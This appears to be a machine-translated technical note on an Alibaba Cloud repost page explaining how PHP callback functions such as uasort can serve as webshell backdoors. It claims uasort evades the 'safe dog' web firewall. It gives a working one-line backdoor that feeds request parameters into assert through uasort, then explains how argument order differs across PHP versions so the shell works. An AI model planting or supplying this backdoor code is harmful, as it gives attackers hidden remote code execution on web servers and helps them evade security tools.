PHP Callback Backdoor Note

Source: Internet
Author: User

A function that has a callback function parameter in PHP is possible as a backdoor


such as Array_map, the callback function for array operations such as Array_filter, but will be killed under the safe dog


But uasort such functions will not be killed.


php5.4.8 after the Assert

After 5.4.8, the Assert function is changed from one parameter to two parameters. An optional parameter descrition is added:


5.4.8 adds the parameter description. Description is now also available as a fourth parameter to the callback function in the Assert_callback mode.

Then you can use a callback function with two parameters, such as

<?php$e = $_request[' E ']; $arr = Array ($_request[' pass '), ' te '); Uasort ($arr, $e);

An error will be given in the php5.3 environment, because the 5.3 assert has only one parameter.

You can do it after php5.4.


The order of the passed arguments here also varies, excluding PHP7 before PHP7, and the first parameter of the array is the second parameter of the callback function.

At PHP7 and later, the first parameter of the array is the first parameter of the callback function.

Like what:

function Mysort ($var _1, $var _2) {echo "var_1:". $var _1. " <br> "; echo" var_2: ". $var _2." <br> ";} $arr = Array ("1", "2"); Uasort ($arr, ' mysort ');

Environmental output prior to PHP7:

Var_1:2
Var_2:1


Environment output in PHP7 and beyond:

Var_1:1
Var_2:2

PHP Callback Backdoor Note

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.